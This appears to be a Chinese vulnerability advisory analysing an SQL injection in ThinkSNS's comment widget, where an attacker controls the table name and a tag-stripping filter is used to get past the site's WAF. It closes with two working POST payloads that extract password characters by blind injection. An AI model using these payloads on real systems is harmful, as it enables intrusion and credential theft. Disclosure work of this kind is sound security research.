### 简要描述: ThinkSNS漏洞系列第二弹,某处处理不当导致SQL注入 ### 详细说明: 漏洞点出现在Comment Widget里: \addons\widget\CommentWidget\CommentWidget.class.php:138 ``` /** * 添加评论的操作 * * @return array 评论添加状态和提示信息 */ public function addcomment() { // 返回结果集默认值 $return = array ( 'status' => 0, 'data' => L ( 'PUBLIC_CONCENT_IS_ERROR' ) ); // 获取接收数据 $data = $_POST; // 安全过滤 foreach ( $data as $key => $val ) { $data [$key] = t ( $data [$key] ); } // 评论所属与评论内容 $data ['app'] = $data ['app_name']; $data ['table'] = $data ['table_name']; $data ['content'] = h ( $data ['content'] ); // 判断资源是否被删除 $dao = M ( $data ['table'] ); $idField = $dao->getPk (); $map [$idField] = $data ['row_id']; $sourceInfo = $dao->where ( $map )->find (); if (! $sourceInfo) { $return ['status'] = 0; $return ['data'] = '内容已被删除,评论失败'; exit ( json_encode ( $return ) ); } ... ... ... ... ... ... ... } ``` $_POST经过$data [$key] = t( $data [$key] )后成为$data。 然后$dao = M ( $data ['table'] )会实例化一个Model,用于接下来的操作: \core\OpenSociax\functions.inc.php:431: ```...
### 简要描述: ThinkSNS漏洞系列第二弹,某处处理不当导致SQL注入 ### 详细说明: 漏洞点出现在Comment Widget里: \addons\widget\CommentWidget\CommentWidget.class.php:138 ``` /** * 添加评论的操作 * * @return array 评论添加状态和提示信息 */ public function addcomment() { // 返回结果集默认值 $return = array ( 'status' => 0, 'data' => L ( 'PUBLIC_CONCENT_IS_ERROR' ) ); // 获取接收数据 $data = $_POST; // 安全过滤 foreach ( $data as $key => $val ) { $data [$key] = t ( $data [$key] ); } // 评论所属与评论内容 $data ['app'] = $data ['app_name']; $data ['table'] = $data ['table_name']; $data ['content'] = h ( $data ['content'] ); // 判断资源是否被删除 $dao = M ( $data ['table'] ); $idField = $dao->getPk (); $map [$idField] = $data ['row_id']; $sourceInfo = $dao->where ( $map )->find (); if (! $sourceInfo) { $return ['status'] = 0; $return ['data'] = '内容已被删除,评论失败'; exit ( json_encode ( $return ) ); } ... ... ... ... ... ... ... } ``` $_POST经过$data [$key] = t( $data [$key] )后成为$data。 然后$dao = M ( $data ['table'] )会实例化一个Model,用于接下来的操作: \core\OpenSociax\functions.inc.php:431: ``` //D函数的别名 function M($name='',$app='@') { return D($name,$app); } ``` \core\OpenSociax\functions.inc.php:441: ``` /** * D函数用于实例化Model * @param string name Model名称 * @param string app Model所在项目 * @return object */ function D($name='', $app='@', $inclueCommonFunction=true) { static $_model = array(); if(empty($name)) return new Model; if(empty($app) || $app=='@') $app = APP_NAME; $name = ucfirst($name); if(isset($_model[$app.$name])) return $_model[$app.$name]; $OriClassName = $name; $className = $name.'Model'; //优先载入核心的 所以不要和核心的model重名 if(file_exists(ADDON_PATH.'/model/'.$className.'.class.php')){ tsload(ADDON_PATH.'/model/'.$className.'.class.php'); }elseif(file_exists(APPS_PATH.'/'.$app.'/Lib/Model/'.$className.'.class.php')){ $common = APPS_PATH.'/'.$app.'/Common/common.php'; if(file_exists($common) && $inclueCommonFunction){ tsload($common); } tsload(APPS_PATH.'/'.$app.'/Lib/Model/'.$className.'.class.php'); } if(class_exists($className)) { $model = new $className(); }else{ $model = new Model($name); } $_model[$app.$OriClassName] = $model; return $model; } ``` 若\$className不存在,就实例化Model \core\OpenSociax\Model.class.php:60 ``` /** * 架构函数 * 取得DB类的实例对象 字段检查 * @param string $name 模型名称 * @access public */ public function __construct($name='') { // 模型初始化 $this->_initialize(); // 获取模型名称 if(!empty($name)) { $this->name = $name; }elseif(empty($this->name)){ $this->name = $this->getModelName(); } // 数据库初始化操作 // 获取数据库操作对象 // 当前模型有独立的数据库连接信息 $this->db = Db::getInstance(empty($this->connection)?'':$this->connection); // 设置表前缀 $this->tablePrefix = $this->tablePrefix?$this->tablePrefix:C('DB_PREFIX'); $this->tableSuffix = $this->tableSuffix?$this->tableSuffix:C('DB_SUFFIX'); // 字段检测 if(!empty($this->name) && $this->autoCheckFields) $this->_checkTableInfo(); //TODO 临时强制要求 if(!empty($this->tableName) && empty($this->fields)) throw_exception('开发阶段,请为你的model填写fields!'); } ``` 最后$this->name = $name将\$_POST['table_name']赋给Model实例的name属性里。 回到最初的addcomment函数,下一步就是用刚实例化的Model查找数据: $sourceInfo = $dao->where ( $map )->find () 在查找逻辑里,如果表名不存在,那么就使用name属性的值作表名,而name属性正是\$_POST['table_name'],漏洞就是表名可控。 \core\OpenSociax\Model.class.php:908: ``` /** * 得到完整的数据表名 * @access public * @return string */ public function getTableName() { if(empty($this->trueTableName)) { $tableName = !empty($this->tablePrefix) ? $this->tablePrefix : ''; if(!empty($this->tableName)) { $tableName .= $this->tableName; }else{ $tableName .= parse_name($this->name); } $tableName .= !empty($this->tableSuffix) ? $this->tableSuffix : ''; if(!empty($this->dbName)) $tableName = $this->dbName.'.'.$tableName; $this->trueTableName = strtolower($tableName); } return $this->trueTableName; } ``` 由于ThinkSNS前台有WAF,因此需要结合t()来绕过: \core\OpenSociax\functions.inc.php:630 ``` /** * t函数用于过滤标签,输出没有html的干净的文本 * @param string text 文本内容 * @return string 处理后内容 */ function t($text){ $text = nl2br($text); $text = real_strip_tags($text); $text = addslashes($text); $text = trim($text); return $text; } ``` 经过t()的变量都会过real_strip_tags($text): \core\OpenSociax\functions.inc.php:2274 ``` function real_strip_tags($str, $allowable_tags="") { $str = html_entity_decode($str,ENT_QUOTES,'UTF-8'); return strip_tags($str, $allowable_tags); } ``` 而real_strip_tags($text)里的strip_tags($str, $allowable_tags)会过滤掉tag,所以在SQL关键字中插入tag就能bypass waf,最后成为可以被利用的SQL注入。 ### 漏洞证明: 直接基于内容的SQL注入就好,POST请求都要带上正确的referer。 ``` POST /index.php?app=widget&mod=Comment&act=addcomment&uid=1 app_name=public&table_name=user w<a>here if((sel<a>ect asci<a>i(subst<a>ring(password,/**/1,1/**/)))>0,/**/1,0);-- -&content=test&row_id=1&app_detail_summary= ``` [<img src="https://images.seebug.org/upload/201411/02174024a9831daa6b6793c7374ada3ccab3463c.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/02174024a9831daa6b6793c7374ada3ccab3463c.jpg) ``` POST /index.php?app=widget&mod=Comment&act=addcomment&uid=1 app_name=public&table_name=user w<a>here if((sel<a>ect asci<a>i(subst<a>ring(password,/**/1,1/**/)))>100,/**/1,0);-- -&content=test&row_id=1&app_detail_summary= ``` [<img src="https://images.seebug.org/upload/201411/02174210f45450689b08dd67a978b83d10a2bb36.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/02174210f45450689b08dd67a978b83d10a2bb36.jpg)